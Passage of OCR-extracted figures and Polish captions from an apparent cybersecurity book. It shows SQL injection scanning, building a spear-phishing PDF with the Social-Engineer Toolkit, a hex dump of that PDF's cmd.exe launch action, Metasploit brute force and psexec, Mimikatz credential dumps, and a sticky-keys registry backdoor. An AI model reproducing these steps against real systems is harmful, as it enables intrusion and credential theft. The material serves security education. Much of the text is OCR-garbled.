| am authorized to scan this target and | agree with the Terms of Service

Light Scan Full Scan

SQL injection attacks are increasing at a rapid rate and represent a major threat to web application security.
Scan your web app for critical security vulnerabilities and prevent significant data loss and business disruption.

Rysunek 6.39. Wprowadz adres URL, ktory chcesz przeskanowac¢
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& DOWNLOAD REPORT

%/ Pentest-Tools

SQL Injection Scanner Report (Light)

=34 See what the FULL scanner can do

v https://www.erdalozkaya.com/

Summary
Overall risk level: Risk ratings: Scan Information:
High: Starttime: 2019-08-31 09:56:11 UTC+03
Medium: Finishtime: 2019:08-31 09:56:39 UTC+03
o [ Scanduration: 28 sec
sansaws [
Findings

% Light spider results: 0 dynamic URLs of total 33 URLs crawled

™ No SQL Injection vulnerabilities found.

Scan coverage information

List of tests performed (2/2)

v Spidering target
v Scanning for SQL Injection...

Scan parameters

Website URL: https://www.erdalozkaya.com/
Scan type: Light
Authentication False

Rysunek 6.40. Wyniki skanowania

File Edit View Search Terminal Help
: Li# 1s

onfig.py function.py LICENSE.md 1logo.py progressbar.py README.md requirements.txt
i # python3 scanqli.py -h

sage: python scanqli.py -u [url] [options]

/ / N/ ()
\ // /Y S/ A/ /A
NN AN NN /71

/

\
https://github.com/bambish
https://twitter.com/bambishee

-h, --help show this help message and exit

Scanning:
Fu, --url <url> URL to scan

-urllist <fil URL list to scan (one line by url)

ignore <url Ignore given URLs during scan

-ignorelist <file> Ignore given URLs list (one line by url)
cookies <cookies> Scan with given cookies

-quick Check only very basic vulns

-recursive Recursive URL scan (will follow each href)
-wait <seconds> Wait time between each request

Dutput:
-v, --verbose Display all tested URLs
-0, --output <file> Write outputs in file

xamples:

python scanqli.py -u 'http://127.0.0.1/test/?p=news' -o output.log

python scanqli.py -u 'https://127.0.0.1/test/' -r -c '{"PHPSESSID":"4bn7uro8qg620l40667bejbgo3"
i DVEYill="}"

Rysunek 6.41. Opcje narzedzia ScanQLi
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. e evamaee
a ]
" ERDAL OZKAYA

e WWW
....... g

Zainfekowanie skryptem

o
-

Otwarcie strony internetowej

Wstrzykniecie skryptu

Ztosliwe dziatania

Rysunek 6.42. Mozesz uzy¢ narzedzia ze strony www.pentest-tools.com,
aby przeskanowac swoja witryne i sprawdzi¢, czy jest podatna na ataki XSS

Atakujacy Atakujacy
E——
DDoS do wynajecia Serwer C&C
Bron Botnet loT a . E
Otwarte Zainfekowany
serwery botnet zombi
Dostarczanie Wzmocnienie odbiciowe Transmisje stanowe lub bezstanowe
EE=E $ a 4 OACAOAS/ © o
] ¥ 0. |
Ofiara  Centra danych Sieci Aplikacje Uzytkownicy

Rysunek 6.43. Atak DDoS: atakujacy zostaje zatrudniony, tworzy bron, ktérej uzyje,
dostarcza te bron do sieci ofiary i uruchamia atak
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Valkyrle - Realtime Malware Detections

VALKYRIE GLoBAL

China
Russia
Puerto Rico
United Slates
Turkey
Singapore
Germany
Estonia
8razil
Iran, slamic

26RO-DAY PROTECTION Romania

AFFECTED FILES
Other Endpoint Security

Exefile_318.exe Vendors still do not detect
this malware

Generic

Rysunek 6.44. Mapa atakow Comodo, na ktorej widac ataki przeprowadzane w chwili,
gdy pisaliSmy ten rozdziat

Offerte Speciali

MobileWork S.r.I. Business

o USK: All ages

Contains Ads
A\ You don't have any devices.

Add to Wishlist

) EPPE I
Borsollino Mossaggi
LERANSTAT! coxnran e
wcoko s1AT
nolifehe
ANCORA NESSUN ACQUISTO
=

Rysunek 6.45. Ziosliwe oprogramowanie w sklepie Google Play
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Offerte PerTe Smart Phone

L'applicazione effettuera delle operazioni sul
telefono, con lo scopo di ottimjzzare la ricezione del
segnalle (radio check), la velocita di navigazione
(speed check) e lo spazio disponibile (storage
check). Durante il processo di ottimizzazione il
telefono potrebbe riavviarsi.

START SEVICE CHECK

La nostra politica sulla privacy: http://adva
soft.com/it/privacy/

Rysunek 6.46. Ztosliwe oprogramowanie oferujace promocje wiascicielowi
telefonu komérkowego

wiiSunrise ¥ 17:41 -

< @b \ =

Taday'-n.., messages database file uploaded by implant

@ Messages to this chat and calls
secured with end-to-end ecryption. Tap f?rfn,l
more info.

4 sqlite3 ChatStorage.sqlite

Gruuuuezi Issac! S -'ute version 3.24.0 2018-06-04 14:10:15

" Enter *&ng” for udage hints.
y'." R sqlite> .tdbkes
MEGA HAMMER .., | zwABLACKLISTIT'm.. ZWAGROUPMEMBERSCHANGE ~ ZWAPROF ILEPUSHNAME
\ o,.., ZWACHATPROPERRTIES ”-,, ZWAMEDIAITEM ZWAVCARDMENTION
s, “|ZWACHATPUSHCONFIG “ZWAMESSAGE ZWAZ1PAYMENTTRANSACTION
“e.. | ZWACHATSESSION ZWAMESSAGEDATAITEM Z_METADATA

""fq ZWAGRO ZWAMESSAGEINFO Z_MODELCACHE

[“ZWAGROUPMEMBER®.., ZWAPROFILEPTCTUREITEM  Z_PRIMARYKEY

.
0 0 ® O sqLi't§> select I—rug, ZWACHTSESSION ey,

z|4|6|8|8Tzi,2|o|2|0|4|e|or'3+sj |9 |588088153. 555802 78764AD-682C-42DE-A19
c- 8083c336097m\pperson|4478464'1m§585 whatsapp.net | | | KEEEY |

sqlite> select frpm ZWAMESSAGE ; "~.,’

QWERTY U I OFP “,

Sty 8|9|4|9|0|0]3|5|0|0|0|2]’O,10|8|0|2| 32768||2]TH{.|£2088133 588088136.227191
|447846412085@s .whatsapp. ne'tj.ll | 3A1ASEF9D85E2656CETE | |
9|9|4|0|0||||i6|0|0|0|0 10|8|1ﬂ- -32768|[2]]2||1]|588088153.555802 | 5880881

53.599606 3AE107207900EEC3C11 447846412085@s .whatsapp.net

The And If

Rysunek 6.47. Wystanie danych z czatu WhatsApp
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»> snoopdroid
Starting acquisition at folder /home/nex/2019-05-02T7172844

\/_
)1 O)
AN

\|
-
/1.
|
(!

Retrieving package names ...
There are 297 packages installed on the device.

Downloading packages from device. This might take some time ...

[1/297] Package:
Downloading /system/app/FilterProvider/FilterProvider.apk ...
200% | I | 316k/316k [00:00<00:00, 6.79MB/s

[2/297] Package:
Downloading /system/app/RoseEUKor/RoseEUKor.apk ...
100% | | | 1 .05M/1.05M [00:00<00:00, 5.54MB/s]

[3/297] Package:
Downloading /system/app/AutomationTest FB/AutomationTest FB.apk ...
100%| | 334k/334k [00:00<00:00, 4.73MB/s

[4/297] Package:

Rysunek 6.48. Snoopdroid

Device is Not Jailbroken

Ok

Rysunek 6.50. Rezultaty kontroli jailbreaka
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([ NN ] 1. ssh root@localhost -p 2222 (ssh)

Last Login: Wed Oct 18 23:02:06 on ttys000
You have new mail.

$ ssh rogt@LocaLhost -p 2222

root@localhost's password:

N56AP:- root# cycript —help

cycript: unrecognized option '-help’

usage: cycript [—c] [-p <pidlname>] [-r <host:port>] [<script> [<arg>...]]
N56AP:~ root# cycript

(9%:3

Rysunek 6.51. Opcje Cycripta w systemie macOS



Rozdziat 7. W pogoni za tozsamoscia uzytkownika

'Q Wynajecie botneta
ﬁ jako ustugi (BaaS)
o =)
Skradzione Identyfikacja Przygotowanie Uruchomienie
poswiadczenia celu w procesie e-maili ze ztodliwym ataku
rekonesansu drOPPV
muilm
S =
‘e
Firewall

-
[

L

Rysunek 7.1. Sposob uzycia skradzionych poswiadczen przez cyberprzestepcow

Lokalne granice

Zespot czerwony

Rysunek 7.2. Tworzenie profili przeciwnikow



Rozdziat 7. W pogoni za tozsamoscia uzytkownika 61

a
1
]
]
|
E-mail phishingowy
z dotaczonym ztosliwym
] oprogramowaniem
1
'
Ztosliwe ]
oprogramowanie !
wprowadzone '
do lokalnego !
t
ARSI N Aleks i Sandra ustanowili
potaczenie w celu
przekazania skrotu
A A~ ——m e m e m————— > .\ -----------------
Aleks & “ Sandra @
Ztosliwe oprogramowanie Ztosliwe oprogramowanie
przechodzi na komputer przechodzi na serwer
Sandry jako Aleks WWW jako Sandra

Rysunek 7.3. llustracja ataku pass-the-hash
Applications ¥ Places v

Favorites armitage

01 - Information Gathering

f xss fr...
02 - Vulnerability Analysis beehiasr

03 -Web Application Analysis metasploit...
04 - Database Assessment

msf payloa...
05 - Password Attacks
06 - Wireless Attacks searchsploit
07 - Reverse Engineering social engi...
08 - Exploitation Tools

09 - Sniffing & Spoofing i sqlmap

10 - Post Exploitation S termineter

11 - Forensics

12 - Reporting Tools

13 - Social Engineering Tools
14 - System Services

Usual applications

Rysunek 7.4. Menu aplikacji w systemie Kali
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msf5 > use exploit/windows/smb/psexec
msf5 exploit( b

Rysunek 7.5. Zmiana znaku zachety w konsoli Metasploita po uzyciu okreslonego
polecenia

msf auxiliary( ) > set pass_file /root/passwords.txt
pass_file => /root/passwords.txt
msf auxiliary( ) > run

192.168.1.15:445 - SMB - Starting SMB Login bruteforce

Rysunek 7.6. Konfigurowanie Metasploita do wykonania ataku brute force
na poswiadczenia logowania

Terminal (O -]
File Edit View Search Terminal Help

r Toolkit is a product of TrustedsS

Visit: https trusteds
ithub.com/trustedsec/ptf

Select from the menu:

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

Rysunek 7.7. Narzedzia eksploitacji w aplikacjach systemu Kali
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Terminal (O -]

File Edit View Search Terminal Help

-ial-Engineer Toolkit is a product of TrustedSec.

Visit: https:/ /.trustedsec.com

jithub.com/truste ptf

select from the menu:

1) ar-Phishing Attack Vectors

2) Website Attack Vectors

3) Inf ious Media Generator

4) Create a Payload and Listener

5) Mass Mailer Attack

6) Arduino-Based Att: Vector

7) Wireless A 5 Point Attack Vector
8) QRCode Generator Attack Vector

9) Powershell Attack Vectors

10) Third Party Modules

Return back to the main menu.

Rysunek 7.8. Social-Engineer Toolkit

Terminal e @ 0

File Edit View Search Terminal Help
16) Third Party Modules

99) Return back to the main menu.

The Spearphishing module allows you to specially craft

them to a lar (or small) number of people th attac

payloads. If you want to spoof email addr , be sure "¢ 5
stalled (apt-get install sendmail) and change the config/set config SENDMAIL=0F
F
flag to SENDMAIL=ON.

There are two options, one is getting your feet wet and letting SET do
everything for you (option 1), the second is T0 create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy!

Perform a Mass Email Attack
Create a FileFormat Payload
Create a Social-Engineering Template

Return to Main Menu

Rysunek 7.9. Uzycie zestawu narzedzi Social-Engineer do spreparowania wiadomosci
e-mailowej do spearphishingu
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Terminal (I O )

File Edit View Search Terminal Help

) SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
SET Custom Written Document UNC LM SMB Capture Attack
MS15-1680 Microsoft Windows Media Center MCL Vulnerability
HL14 @17 Microsoll word RTF ObjecL Confusion (2014-04-01)

rosoft Windows CreateSizedDIBSECTION Stack Buffer Overflow

Microsoft Word RTF pFragments Stack Buffer Overflow (MS16-087)
Adobe Flash Player "Button" Remcte Code Execution
Adobe CoolType SING Table "uniqueName" Overflow
Adobe Flash Player "newfunction" Invalid Pointer Use
Adobe Collab.collectEmailInfo Buffer Overflow
Adobe Collab.getIcon Buffer Overflow
Adobe JBIG2Decode Memory Corruption Exploit
Adobe PDF Embedded E Social Engineering
Adobe util.printf() Buffer Overflow
Custom EXE to VBA nt via RAR) (RAR requirsd)
Adobe U3D CLODProg iveMeshDeclaration Ar Overrun
Adobe FDF Embedded EXE Social Engineering ( S)
Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
Apple QuickTime PICT PnSize Buffer Overflow
Nuance PDF Reader v6.0 Launch Stack Buffer Overflow
Adobe Reader u3D Memory Corruption Vulnerability
ISCOMCTL ActiveX Buffer Overflow (ms12-027)

Rysunek 7.10. Opcje dla tadunku FileFormat

-] Default payload creation selected. SET will generate a normal PDF with embed
(d EXE.

1. Use your own PDF for attack
2. Use built-in BLANK PDF for attack

command shell en v im and send
neterprﬂter heLI on victim and s
d

Rysunek 7.12. Opcje ataku
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Terminal (- IO -]

File Edit View Search Terminal Help
H >2
> IP address or URL (www.e>
9 > Port to cc on [44
s created.

e patient,

Wailting for ﬁdy patient,

for payload ge
d
patient,
patient,
patient,

pdf directory
d to need to create an application password:

an added beonus, use the file-format creator in SET to create your attachment.

Right now the attachment will be imported with filename of 'template.whatever'

Do you want to rename the file?
example Enter the new filename: moo.pdf

cool.

Rysunek 7.13. Tworzenie tadunku i opcje dostosowywania nazwy pliku

= > New filena financialreport.pdf
[*] Filename nged, moving on..

Social Engineer Toolkit Mass E-Mailer

There are two options on the ss e-mailer, the first would

be to send an email to one individual p n. The cond option
will allos ou to import a list and send it to as y people as
you want within that list.

what do you

E-Mail Attack
E-Mail Attac

99. Return to m

Rysunek 7.14. Opcje dostepne po okresleniu nazwy pliku

Available template
Strange internet usage from your computer
tatus Report
: How long has it been?
Computer Issue

: WOAABALITINLLINLY This is crazy...
Dan Br Angels & Demons
Baby Pics
Have you seen this?
rder Confirmation
1 New Update

Rysunek 7.15. Opcje dostepne po wybraniu opcji 1. na poprzednim ekranie
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> Send email to: .com

. Use a gmail Account for your email attack.
. Use your own server or open reLay

>l
> Your gmail email address: .com
i > The FROM NAME user will see:Alex Tavares
Email password:
2 > Flag this message/s as high priority? [yes|no]:Yes
> Does your server support TLS? [yes|no]:yes

Rysunek 7.16. Po wybraniu opcji phishingu wybierz, czy chcesz uzywac konta
gmailowego, wiasnego serwera czy serwera open relay

-al /root/.set

total 608

drwxr-xr-x 2 root 4096 Dec
drwxr-xr-x 16 root 4096 Dec
-rw-r--r-- root 224 Dec
-rwW-r--r-- root 296371 Dec
“rwW-r--r-- root 45 Dec
-rw-r--r-- root 70 Dec
-rw-r--r-- root 296371 Dec
“rwW-r--r-- root 198 Dec

email.templates
financialreport.
payload.options
set.options
template.pdf
template.rc

9
9
9
)
9
9
9
9

Rysunek 7.17. Wyswietlanie lokalizacji pliku za pomoca polecenia Is
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Filename: financialreport.pdf | MD5: f5¢995153d960¢3d12d3b1bdb55ae7e0

Document information

Original filename: financialreport.pdf

Size: 60552 bytes

Submitted: 2017-08-26 17:30:08

md5: f5¢995153d960c¢3d12d3b1bdb55ae7e0

shal: e84921cc5bb9e6cb7b6ebf35f7cd4aa71e76510a

sha256: 5b84acb8ef19¢cc6789ac86314e50af826ca95bd56¢559576b08e318e93087182
ssdeep: 1536:TLcUj5d+0pUBKEICV7dT3LxSHVapzwEmyomJir:TQUFdrkENtdT3NCVjV2Ir
content/type: PDF document, version 1.3

analysis time: 3.35s

Analysis: Suspicious [7] Beta OpenlOC

21.0 @ 15110: suspicious.pdf embedded PDF file

21.0 @ 15110: suspicious.warning: object contains embedded PDF

22.0 @ 59472: suspicious.warning: object contains JavaScript

23.0 @ 59576: pdf.execute access system32 directory

23.0 @ 59576: pdf.execute exe file

23.0@ 59576: pdf.exploit access system32 directory

23.0@ 59576: pdf.exploit execute EXE file

23.0 @ 59576: pdf.exploit execute action command

Rysunek 7.18. Uzycie narzedzia PDF Examiner do zbadania zawartosci
ztosliwego pliku PDF
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Filename: financialreport.pdf | MD5: f5¢995153d960c3d12d3b1bdb55ae7e0 | Object: 23 Generation: 0 | File offset: 59576

Parameters | Raw | Decoded 39013

pdf.exploit execute action command

@: @d 3c 3c 2f 53 2f 4c 61 75 6e 63 68 2f 54 79 78 .<</S/Launch/Typ
16: 65 2f 41 63 74 69 6f 6e 2f 57 69 6e 3c 3c 2f 46 efAction/Win<</F
32: 28 63 6d 64 2e 65 78 65 29 2f 44 28 63 3a 5c 5S¢ (cmd.exe)/D(c:\\
48: 77 69 6e 64 6f 77 73 5¢ 5c 73 79 73 74 65 6d 33 windows\\system3
64: 32 29 2f 58 28 2f 51 20 2f 43 28 25 48 4f 4ad 45 2)/P(/Q /C %HOME
80: 44 52 49 56 45 25 26 63 64 20 25 48 4f 4d 45 50 DRIVE%&cd %XHOMEP
96: 41 54 48 25 26 28 69 66 20 65 78 69 73 74 2@ 22 ATHX&(if exist "

112: 44 65 73 6b 74 6f 78 5¢ 5¢c 66 6f 72 6d 2e 7@ 64 Desktop\\form.pd
128: 66 22 20 28 63 64 20 22 44 65 73 6b 74 6f 70 22 f" (cd "Desktop"
144: 29 29 26 28 69 66 I&(if

pdf.exploit execute EXE file

B: 8d 3c 3c 2f 53 2f 4c 61 75 6e 63 68 2f 54 79 78 .<</S/Launch/Typ
16: 65 2f 41 63 74 69 6f 6e 2f 57 69 6e 3c 3c 2f 46 efAction/Win<</F
32: 28 63 6d 64 2e 65 78 65 29 2f 44 28 63 3a 5¢ S5c  (cmd.exe)/D(c:\\
48: 77 69 6c 64 6f 77 73 5¢ 5¢c 73 79 73 74 65 6d 33 windows\\systcm3
64: 32 29 2f 58 28 2f 51 20 2f 43 20 25 48 4f 4d 45 2)/P(/Q /C %HOME

: 44 52 49 56 45 25 26 63 64 20 25 48 4f 4d 45 50 DRIVEX&cd XHOMEP
96: 41 54 48 25 26 28 69 66 20 65 78 69 73 74 20 22 ATHX&(if exist "
112: 44 65 73 6b 74 6f 78 5¢ 5c 66 6f 72 6d 2e 70 64 Desktop\\form.pd
128: 66 22 20 28 63 64 20 22 44 65 73 6b 74 6F 70 22 f" (cd “Desktop"
144: 29 29 26 28 69 66 20 YI&(if.

pdf.exploit access system32 directory

@: @d 3c 3c 2f 53 2f 4c 61 75 6e 63 68 2f 54 79 78 .<</S/Launch/Typ

16: 65 2f 41 63 74 69 6f 6e 2f 57 69 6e 3c 3c 2f 46 efAction/Win<</F
32: 28 63 6d 64 2e 65 78 65 29 2f 44 28 63 3a 5c 5c  (cmd.exe)/D(c:\\

48: 77 69 6e 64 6f 77 73 5¢ 5c 73 79 73 74 65 6d 33 windows\\system3
64: 32 29 2f 50 28 2f 51 20 2f 43 20 25 48 4f 4d 45 2)/P(/Q /C %HOME

Rysunek 7.19. Pliki wykonywalne znalezione w pliku PDF

xploit( ) » exploit

Started reverse TCP handler on 192.168.1.99:4445

192.168.1.17:445 - Connecting to the server...
192.168.1.17:445 - Authenticating to 192.168.1.17:445|YDW7 as user 'Yuri'...

Rysunek 7.21. Wyniki polecenia exploit



Rozdziat 8. Ruch boczny

Users\Erdal\ p>
Nmap 7.70 ( https://nmap.org
ort for 1€ Ll

SERVICE
msrpc

ne S sn
microsoft-ds
vmrdp

wsdapi

COMMANDO Sun

ktop>nmap - =

( https: 2019-09-01 16:
pr: 10. Fal
latency

Rysunek 8.3. Nmap wyszukuje informacje o hoscie
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(D Task Scheduler - [m) X
File Action View Help
« < [ B
(D) Task Scheduler (Local) Task Scheduler Summary (Last refreshed: 15/03/2022 11:58:30 PM) | Actions
~ L@ Task Scheduler Library Task o~
| Agent Activation Runt || | Querview of Task Scheduler -]
| COMODO Connect to Another Computer..
1 Lenovo |1y You can use Task Scheduler to create and manage B Creote BasicTask
| Microsoft 4 common tasks that your computer will carry out
automatically at the tmes you specify. To begin, click a = Create Task...
command in the Action menu. Inport Task
Tasks are stored in folders in the Task Scheduler Library. [% Display All Running Tasks
To view or perform an operation on an individual task .
&1 Enable All Tasks History
Task Status B ) .
AT Service Account Configuration
Status of tasks that have startedinth..  Last 24 hours View »
Q fresh
Summary: 0 total - 0 running, 0 succeeded, 0 stopped, 0 failed Q Refres
B nep
Task Name RunResult  Run Start
Active Tasks -
Active tasks are tasks that are currently enabled and have not
Last refreshed at 15/03/2022 11:58:30 PM Refresh
|

Rysunek 8.5. Harmonogram zadan w systemie Windows

Skuteczne
P wtamanie do systemu -~

/— -\0
T, Skuteczne -

wiamanie do systemu

Dostep do

Dostarczanie 4
zasobow HV

Rysunek 8.6. Ruch boczny w ramach faincucha niszczenia cyberzabezpieczen

Sun /©1/2019 16:14
Users\Erdal\Desktopinmap -
Starting Nmap 7 ( h{Yps:
Nmap scan report
up (©.8es

Rysunek 8.9. Uzywanie Nmapa do sprawdzania stanu wielu portéw
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Administrator: C\Windows\system32\cmd.exe L&‘@J ﬁ@_&

sec>psexec \\172.16.8.121 ipconfig

E vl.98 cute proces remotely
pyright (C> 2881-28180 MHark R inovich
ternals - wwu. sinterna con

m

Windows IP Configuration

Wirele LAN adapter Wire s Network Connection:
Media State . . . . . . . . - & Media dis
Connection-specific DNS Suffix :

Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix
IPvd fAddress. A 5 g

Subnet Mask . .
Default Gateway

Ethernet adapter UMware Network Adapter UMneti:

Connection—specific DNS Suffix
IPv4 Address. . . . . ST
Subnet Mask . - i = a . * 255.255.

192 .168.

Default

. o e < < 2 192.168.126.1

Subnet Mask . e e+ e = o+ = . . ' 255_255.255.8
Default Gatews S mim e e =

ipconfig exited on 172.16.8.121 with error code 8.

Rysunek 8.10. Stosowanie PsExec do sprawdzania konfiguracji IP komputera zdalnego
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Rysunek 8.12. Nishang umozliwia wykorzystanie PowerShella jako podstawy
dziatan zespotu czerwonego

I

e b i e

Rysunek 8.13. Zrzut ekranu z filmu zespotu ds. bezpieczenstwa Tencent
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C:\Userssuser2:\Downloads\PowerSploit—-master \PowerSploit-master> Invoke—-Mimikatz

mimikatz 2.1 (x64> built on Nov 18 2816 15:31:14

“A La Vie, A L’Amour"

S

Benjamin DELPY ‘gentilkiwi® ¢ henjaminBgentilkiwi.com )

http://blog.gentilkiwi.com/mimikatz Coe.eo)
with 28 modules » » »/

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id B ; 46837110 <(PARRABBA:B2he?876>
Session CachedInteractive from 2
Name userl
serverl
WIN-PNS08A7CBDU
2,18-,2818 9:22:86 PM
§-1-5-21-3116701761-2593088785-82427877-1183

msy -
[BBBBBPA3 1 Primary
Username : userl
Domain serverl
LM h34ce522c3e4cB8?7722c34254e51hFfF62
NTLM fc525c9683e8feB@67095ba2ddc971889
iHﬂi e53d7244aaB8727f5789hB1d895914196Baad5d22
tspkg :
* Username userl
»* Domain serverl
» Password PasswBrd?
wdigest :
g USE)‘I’I&ITIB LlSEl‘l
» Domain serverli
* Password PasswBrd?
kerheros :
» Username userl
» Domain SERUVER1 .HACKLAB.LOCAL
* Password Passw@rd?
ssp :

credman :

Rysunek 8.14. Mimikatz w PowerShellu

B Select Command Prompt - o x

Rysunek 8.15. Polecenie wmic process list pozwala wyswietli¢ wszystkie
procesy uruchomione na komputerze
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Eile Edit View Go Copture Analyze Statistics  Help J
DAY ECEXRE A+ T L2 BF QAN g@n
Filter: | * BExpression.. Clear Apply
No.. Time Source Destination Protocol Info

6 7.825277 192.168.3.6 2 52.201 TP 50074 > http [Ack] Seq=1

7 7.825856 192.168.3.6 2 52,201 HTTP POST /w/index.php?title=

[ 192.168. 3.6 . 20 continuation or non-HTTH

. 2[NE2. 201 192.165.3.6 e heep > 30074 [AcK] Seqed
| m

'@ Frame 8 (161 bytes on wire, 161 bytes captured)
@ Ethernet II, Src: Supermic_82:11:bd (00:30:48:82:11:bd), Dst:

" pata (107 byres)

pata: 77704E616D653D6A6F6526777050617373776F72643D746F. ..

| Data (data.data). 107 bytes | Packets: 33 Disolaved: 33 Marked: 0 Dropped: 0

24 a5 6f ac 5c 11 bd 08
c0 a8 03
dc 1

W Ord=tops|
s sword&wp
t empt=Log

Rysunek 8.17. Przechwytywanie nazw uzytkownikéw i haset
za posrednictwem Wiresharka

Konto KRBTGT
unicodePwd :NT hash
ntPwdHistory: NT hash

. 1. Zadanie biletu (TGT) dla ustugi TGS

2. Zwrocenie biletu (TGT) klientowi

Ustuga
uwierzytelniania

3. Wystanie TGT i zadania biletu do \\Serwer

Ustuga
przyznawania

4. Zwrécenie biletu (TGS) dla \\Serwer

biletow
(TGS)

Klient
Kerberosa

5. Wystanie biletu sesji do \\Serwer

6. Wystanie klientowi potwierdzenia tozsamosci Centrum dystrybucji
kluczy Windowsa (KDC)

Serwer |I
z

Rysunek 8.18. Uwierzytelnianie domeny i dostep do zasohéw
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Hasto
administratoral

Vi
Zewnetrzny Logowanie Uzycie (buforowanie) Przesytanie Autorytatywny
magazyn danych w kliencie przezsie¢ magazyn danych

Rysunek 8.20. llustracja sposobu przechowywania poswiadczen

_ [ WinLogon.exe I—#[ LsaSS.exe SAM

uzytkownik:domena:hasto

Wyzwanie
Odpowiedz

Rysunek 8.21. Logowanie w systemie Windows (opisane dalej w tym rozdziale)
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The identity of the remote computer was verified by
using Kerberos.

Rysunek 8.22. Weryfikacja tozsamosci RDP za posrednictwem Kerberosa



Rozdziat 9. Podnoszenie poziomu uprawnien

Podnoszenie

en ’
uprawnien @j H

Poziome podnoszenie uprawnien

Poziome podnoszenie uprawnien A

Rysunek 9.1. Podnoszenie uprawniei moze by¢ wykonywane zaréwno poziomo,
jak i pionowo

Rysunek 9.2. Podnoszenie poziomu uprawnien przeprowadzone za pomocg Metasploita
z wykorzystaniem luki w zahezpieczeniach
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Malware
RAM scraper

2 ’ﬁ-‘.-.\
Trojan .-J

Misdelivery
(1.4% from last DBIR)

Misconfiguration
(4.9% from last DBIR]

Malware
Password dumper

Error Trojan
Misdelivery 4% f

Malware Ransomware
Ransomware (2.6% from last DBIR)

Error
Misconfiguration

RAM scraper
(-1.8% from last DBIR)

Rysunek 9.3. Osiem najwazniejszych wektoréow atakow na podstawie raportu
Data Breach Investigations Report firmy Verizon

GAC Version

False wv4.0.30319

: O
patch has been applied.

Rysunek 9.4. Alertowanie systemu Windows za posrednictwem interfejsu
Microsoft AntiMalware Scan Interface (AMSI) mozna oming¢ za pomoca
ataku Metasploita po stronie klienta
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Faza 2

Iterowanie przez
metody i techniki

Faza 1 Faza3

Wybér celu i zbieranie Przygotowanie

ogélnych informacji raportu

= CWBDOW R stenIT sl e

PrivEsc

Rysunek 9.6. Zrzut ekranu komputera z systemem Windows, w ktérym uprawnienia sa
podnoszone do poziomu nt authority\system z wykorzystaniem luki
w zabezpieczeniach dostepnosci, co oméwimy dalej w tym rozdziale
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E¥ Administrator: Windows PowerShell (x86)

rdal> w et C n,Description,Hotf
on Description
[Support.micr 185 1d=451155 Update
upport.micr : i Securi
upport.mi
upport.
upport.
upport.
upport.micr
fsupport.microsoft.
//support.mi com, i 8 Update

o aelten

Update

S
a
G
t
E

1
i)

KB4498523
(84508189

=
VU OOUT N

oo

bttt O

T T OTUO

Rysunek 9.7. W celu wyswietlenia listy zainstalowanych aktualizacji mozna zastosowac¢
polecenie wmic gfe

E¥ Select Administrator: Windows PowerShell

InstalledOn

(V'
-]

LA
el T e -]

o
=

top> Inuoke-TokenManipulation -

queried Chread Loken
thread token
UERBOSE u thread token
UERBOSE: Selecting token by Pr 1D
UERBOSE: Attempting to enable pr @ SeSecurityPrivilege
UERBOSE: Enabled privilege: SeSecurityPrivilege
UERBOSE: Entering Create-Pr MithL n
UE SE: Not runnin . fcalling CreateProcegfliithTokend to create a proc
12 Y Adm nistratc 1, - T

with alternate token

Rysunek 9.9. Zdalne uruchomienie ataku
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C:\Windows>echo Windows Registry Editor Uersion 5.0808 >a.reg

echo Windows Registry Editor Uersion 5.808 >a.reg

C:\Windows?>
echo [HKEY_LOCAL_MACHINENSOFTWARENMicrosoft\Windows NINCurrentUersion\Image File
Execution Optionsh\sethc.exel >>a.reg

C:\Windows >echo “"debugger'="c:\\uindows\\system32\\cnd.exe™" >>a.reg
echo [HKEY_LOCAL_MACHINENSOFTWARENMicrosoft\Windows NINCurrentUersion\Image File

Execution Options\sethc.exel >>a.reg

v_u

b

C:\Windows>echo "*"debugger ¢ :\\windows\\systemn32\\cnd.exe”™" >>a.reg

C:s\Windows >

Rysunek 9.10. Klawisze trwale zastapione zfosliwym oprogramowaniem

StickyKeys

Pressing the SHIFT key 5times tums on StickyKeys. Stickyleys lets you use
the SHIFT, CTRL. ALT, or Windows Logo keys by pressing one key at a time.

To keep StickyKeys on, click OK.
StickyKeys, cick Cancel

the key combination for StickyMKeys. cick Settings

Settings

k {} Niestandardowa

podkfadka

Niestandardowa podkfadka Nowa wersja
Starsza aplikacja utworzona przez hakera systemu Windows

Rysunek 9.12. Wykorzystanie niestandardowej podktadki przeciwko nowej wersji
systemu operacyjnego Windows
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| Google Talk Documents
. Logitech Touch Mouse Server
. Maintenance
. Microsoft Application Compatibility To
IQ Application Compatibility Manager
"_‘E Compatibility Administrator
. Developer and Tester Tools
% Internet Explorer Compatibility T
%, Setup Analysis Tool
@ Standard User Analyzer Wizard
@ Standard User Analyzer
. Microsoft Office
. Microsoft Office Live Meeting 2007
. Microsoft Silverlight 3 SDK Default Programs
. Microsoft SQL Server 2008
. Microsoft SQL Server 2008 R2 Help and Support
b
b
b
¥
1

Pictures

Music

Games

Computer

Control Panel

Devices and Printers

Microsoft Sync Framework
Microsoft Visual Studio 2010
Oracle VM VirtualBox
Reliance Netconnect - Broadband+ -

Back

| Search programs and files Fel I

Rysunek 9.13. Microsoft Application Compatibility Toolkit w dziataniu

‘L Compatibility Administrator - New Database(1) [Untitled_1]

File Edit View Database Search Help

tj New L-‘ Open H Save | aFix \i)AppHelp Made #=7 Run

2 g System Database
&L} Applications
- Compatibility Fixes
(#1-[Z) Compatibility Modes
= g Custom Database:

Mo Datahacal 1) [ intitad

Create New > Application Fi

X... Ctrl+P

Apphelp Message... Ctrl+H
Compatibility Mode... Cur+L

Install

Paste CtrH+V
Rename Ctr+R

Close Ctrl+Z

Properties

More information about C

Rysunek 9.14. Tworzenie nowej poprawki aplikacji
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83

p
t Create new Application Fix

Program information
Pravide the information for the program you want to fix.

Name of the program to be fixed:
AppCompat Demos

Name of the vendor for this program:
erdalozkaya.com/

Program file location:
C:\Program Files \StockViewer\StockViewer.exe

\

|

Rysunek 9.15. Szczegotowe dane do wypetnienia w oknie tworzenia nowej poprawki
aplikacji (Create new Application Fix)

'h Create new Application Fix

Compatibility Fixes
Select compatibility fixes to be applied for this program.

==

B QRetryOpenSCManagerWith ReadAccess
\:l {D RetryOpenServiceWithReadAccess

a8 Q RunAsAdmin

E Q RunAsHighest

D Q RunAsInvoker

| Q SearchPathinAppPaths

